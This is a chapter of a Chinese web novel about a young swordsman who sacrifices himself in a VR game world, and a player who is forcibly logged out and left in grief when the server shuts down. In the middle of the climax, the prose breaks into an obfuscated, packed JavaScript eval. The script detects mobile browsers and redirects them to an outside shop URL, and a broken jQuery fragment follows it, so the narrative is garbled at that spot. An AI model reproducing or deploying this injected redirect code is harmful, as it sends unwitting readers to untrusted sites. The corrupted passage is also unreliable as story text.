“砰——!”
谢灼整个人重重地砸在了地上。碎石被撞得四散飞溅,尘土弥漫开来,在阳光里形成一小片灰蒙蒙的雾。
五脏六腑仿佛都被这一下摔得移了位,肋骨传来尖锐的痛感,肩胛骨像被撕裂一样火烧火燎地疼。强烈的眩晕感紧接着冲击大脑,眼前一阵阵发黑,耳朵里嗡嗡作响。他趴在地上,口腔里弥漫开一股铁锈般的腥甜。
“咳……咳咳……”
他咬着牙,忍着浑身的剧痛,单手撑住地面,摇摇晃晃地把自己从地上撑了起来。
阳光。
久违的、带着温度的阳光,洒在他身上。
谢灼眯起眼,睫毛在光里投下细碎的阴影。他有些恍惚地环顾四周。
身后,那座始终笼罩在黑色浓雾中的山,已经彻底消失了。取而代之的,是一座崭新的、生机盎然的山。
青松翠柏沿着山势层层叠叠地铺展开去,满目都是深深浅浅的绿。不知名的小鸟藏在树冠深处,偶尔发出一两声啾啾的鸣叫。
但他没有心思欣赏眼前的风景。
谢灼的视线急切地在空荡荡的山道上搜寻。他先看了左边——那条碎石小径蜿蜒向下,一直延伸到看不见的山脚,路面上空无一人。他又猛地转向右边——几棵歪脖子老松斜在路旁,树下的空地干干净净,连一个脚印都没有。他的心跳越来越快,一下一下擂在胸腔里,某种莫名的恐慌像冰冷的水一样,从心脏的位置开始,沿着血管一点一点蔓延到四肢百骸。
没有人。
这条山路上,这个山谷里,这片天地之间,只有他一个人。
“先生?”
谢灼喊了一声,声音出口才发现沙哑得厉害,那声音在山壁间撞了几下,传回来时已经变了一副腔调,空洞又陌生。
无人应答。只有风吹过树叶的沙沙声。
“先生!”他提高了音量,踉跄着往前走了两步。
依然是一片死寂。
那个总是懒洋洋地跟在他身后、或者等着他去背的人,并不在这里。
“……在哪?”
就在这时。
眼角的余光里,突然闪过一抹刺眼的颜色——红白相间的条纹,在一片苍翠的绿色背景里显得格外扎眼。
那东西正鬼鬼祟祟地飘在树梢上,时隐时现。
谢灼眼神一凛,右手闪电般探出,一把薅住了那根毛茸茸的长尾巴,将那东西硬生生从半空中拽了下来。
“喵嗷——!!”
柴郡猫发出一声惨叫,整只猫在空中翻了好几个跟头,“我的尾巴!那是我的尾巴!”
谢灼没心情跟它叙旧。幽绿的眸子死死的盯着它,声音冷道:“你怎么在这?沈行舟呢?”
柴郡猫身体慢慢变淡,最后只剩下一张浮在半空中的大嘴。
“他怎么会在这呢?”猫的声音在空气里飘荡,忽左忽右,忽远忽近,“你劈开了一切,盘古开天地,你便成为了新的观测者,所谓世界的主宰。而沈行舟呢,他依旧困在无序里。”
那些词汇对谢灼来说有些生涩,但他捕捉到了关键:“也就是说,只要我想,我可以救他出来。”
“理论上是这样呢。你可以定义什么是‘存在’、什么是‘不存在’。你可以定义‘沈行舟在这里’这件事——只要你想,它就成立nya~”
柴郡猫的语气轻飘飘的,露出森白的尖牙:“不过呢,这个世界目前只能承受一个观测者呢。”
言下之意,昭然若揭。
它等着看这个少年脸上的表情如何变化——震惊,恐惧,犹豫,挣扎,然后是漫长的心理博弈。
但它什么都没等到。
少年似乎根本没有在听它说话。
谢灼闭上了眼睛。
他在感受。
当视觉关闭之后,其他感官像被拧开了旋钮一样迅速放大。他听到了风的声音。气流从山脊上滑过,形成漩涡,再散开。颗粒在空中漂浮了足够久后,终于找到属于自己的位置,无声地落在地上。他甚至能感觉到气温的变化,光的流动。
整个世界的信息像洪流一样涌入他的意识,但这些都不重要。
在那浩如烟海的信息洪流中,他捕捉到了一股熟悉的波动。
变得越来越微弱,越来越黯淡,像是风中残烛,随时都可能彻底熄灭。
下一秒。
谢灼的右脚重重一踏。
脚下的山石地面应声崩裂,龟裂的纹路以他的脚掌为中心向四面八方扩散,碎石被巨大的力量震得弹跳起来。借着这股反冲力,他的身体如一道离弦之箭般向前射出。
与此同时,他双手握住长刀的刀柄,将全身的力量凝聚在双臂之上。带着足以劈开一切的决绝,对着面前那看似空无一物的虚空——
一刀劈下。
——
世界在沈行舟面前碎开了。
他看见那片永恒的白色空间突然出现了一道裂缝。起初只是细细的一条线,像被锋利刀片划过一张白纸。然后那道裂缝迅速扩大,边缘崩裂出无数细小的碎片,每一片碎片都反射着刺目的白光,像万花筒一样旋转、坠落、消散。
紧接着,滚烫的、鲜活的色彩,顺着那道狰狞的裂缝疯狂地涌了进来。
天空的湛蓝浓得像要滴下来,山峦的青翠鲜活得几乎在发光,阳光是金灿灿的、带有温度的、会流动的液态黄金。风吹进来了,带着草木的清香和泥土的腥甜,撩动他的发丝和衣角。
那些色彩像潮水一样汹涌澎湃,瞬间填满了这片死寂的虚无。白色空间在色彩的冲击下节节败退,从边缘开始一片一片崩塌,露出外面那个真实世界的面貌。
而在那万千色彩汇聚的中央,在那道裂缝的正中间。
谢灼提刀而立。
少年满身是血,衣袍猎猎,却好似一位刚刚开天辟地的新神,站在光芒万丈的尘世里,深深地望向了他。
“谢灼?!”
沈行舟瞳孔骤缩,巨大的惊喜涌上心头。
成了!
没想到最后,是谢灼把路劈开了!
他下意识地伸出手,想要跨过那道裂缝,去拥抱那个失而复得的人。
然而。
还没等他的指尖触碰到那片温热的阳光。
他就看到,站在光里的谢灼,突然笑了。
那是沈行舟从未见过的、释然的、温柔到极致的笑。
然后,他反手握住了长刀的刀柄,缓缓调转了手中的刀锋。
对准了自己的心口。
“谢灼?你要干什么?!住手!”
沈行舟下意识扑向那道裂缝,他从来没有这么失态过。
“抱歉,先生。”
谢灼只微笑道,“您教过我,不是神的附庸,而是独立的人。既然是人,就有权决定为了谁而死。”
风吹起他破碎的衣摆,吹乱他的头发。
“一直以来,都是您在护着我。终于,这一回,我也能护住您一次了。”
沈行舟发了疯一样冲过去,却只能眼睁睁看着那些金色的光点从指缝间流逝。
权限呢、权限、权限权限权限权限权限权限权限权限权限!!!!!!
【指令:时间回溯!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638467|206138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
】
有那么一瞬间,世界似乎停了下来。
然后,绚烂的新世界开始剧烈震颤。那些刚刚涌入的色彩像被一只无形的巨手攥住,挤压、扭曲、碾碎。天空崩裂成无数碎片,山川倒塌变成线条,所有的景象都在疯狂地向内坍缩,像是被拔掉了电源的老旧电视——画面先是剧烈地闪烁了几下,然后压缩成一条刺目的、横贯整个视野的白线,再然后——
彻底黑屏。
【SYSTEM ALERT】
冰冷的系统提示音在他耳边响起。
【内测时间结束。】
【服务器已关闭。】
【检测到账号数据严重异常,执行永久封禁。】
【正在强制登出……】
沈行舟的手在虚空中狠狠一抓。
抓了个空。
巨大的失重感袭来,灵魂仿佛被从高空生生抽离,重重地摔回了那具沉重的肉体凡胎。
“哈——!”
沈行舟猛地睁开眼,强烈的眩晕感和恶心感瞬间涌上大脑。
眼前的景象剧烈地晃动,天花板上的灯变成了一道道拖曳的光轨,所有的东西都在转,疯狂地转。胃里翻涌着酸水,喉咙口堵着一团棉花,耳朵里是尖锐的鸣叫声。
他狼狈地从椅子上滚落。
整个人砰的一声重重摔在地板上。双腿被乱七八糟的线缆缠住,设备被扯的七零八落,将椅子也带倒在地。沉重的VR头显从桌上滑落,砸得他脸一片红。
但他顾不上这些。
他手脚并用,慌忙爬向桌子,把上身支撑起来,手指僵硬得几乎握不住鼠标。
屏幕还亮着。
点击。
点击。
疯狂点击。
那个启动图标此刻变成了灰色。无论他按多少次,无论他把鼠标砸得多响,屏幕只有那行冰冷的弹窗:
【内测结束】
【服务器已关闭】
【账号状态:永久封禁】
谢灼呢?
他还活着吗?
那一刀刺下去了吗?他的数据会这么消失了吗?
不对……我是被系统强制踢出来的。我登出的速度够快,只要服务器关闭的时间在谢灼彻底死亡之前……那他就被冻结了。
我应该比他早一步,对吧?
他茫然的看着电脑屏幕,手一松,顺着桌沿,一点一点地滑到了地上。
到底是谁先一步?
他拼命地想要回想那一瞬的画面,却每次都得到不一样的答案。明明之前确认过,现在却不敢相信,记忆的细节在复盘中却变得越来越模糊。
上一秒他觉得谢灼还在笑,下一秒他又仿佛看到了数据崩坏的灰烬。
他不知道。
窗外的阳光正盛,刺眼得令人心烦。
沈行舟眯了眯眼。眼睛很干涩,很不舒服。
但他不想动。
他只机械地眨了眨眼。
再眨了眨。
眼睛干涩的很,生理性泪水溢出,眼前变得模糊了些。泪水顺着眼角滑落,划过脸颊,带起一阵痒意。
很痒。
但他不想挠。
他就这么坐在地板上,背靠着那台主机。
看着那束阳光从地板的东边,慢慢挪到了西边,最后彻底消失,被沉重的夜色吞没。
屋里黑了。
哦,天黑了。该睡觉了。沈行舟迟钝地想。
但他只是这么想了一下,他依旧坐在地上,一动不动。
第一卷·内测:ERROR 404 ·完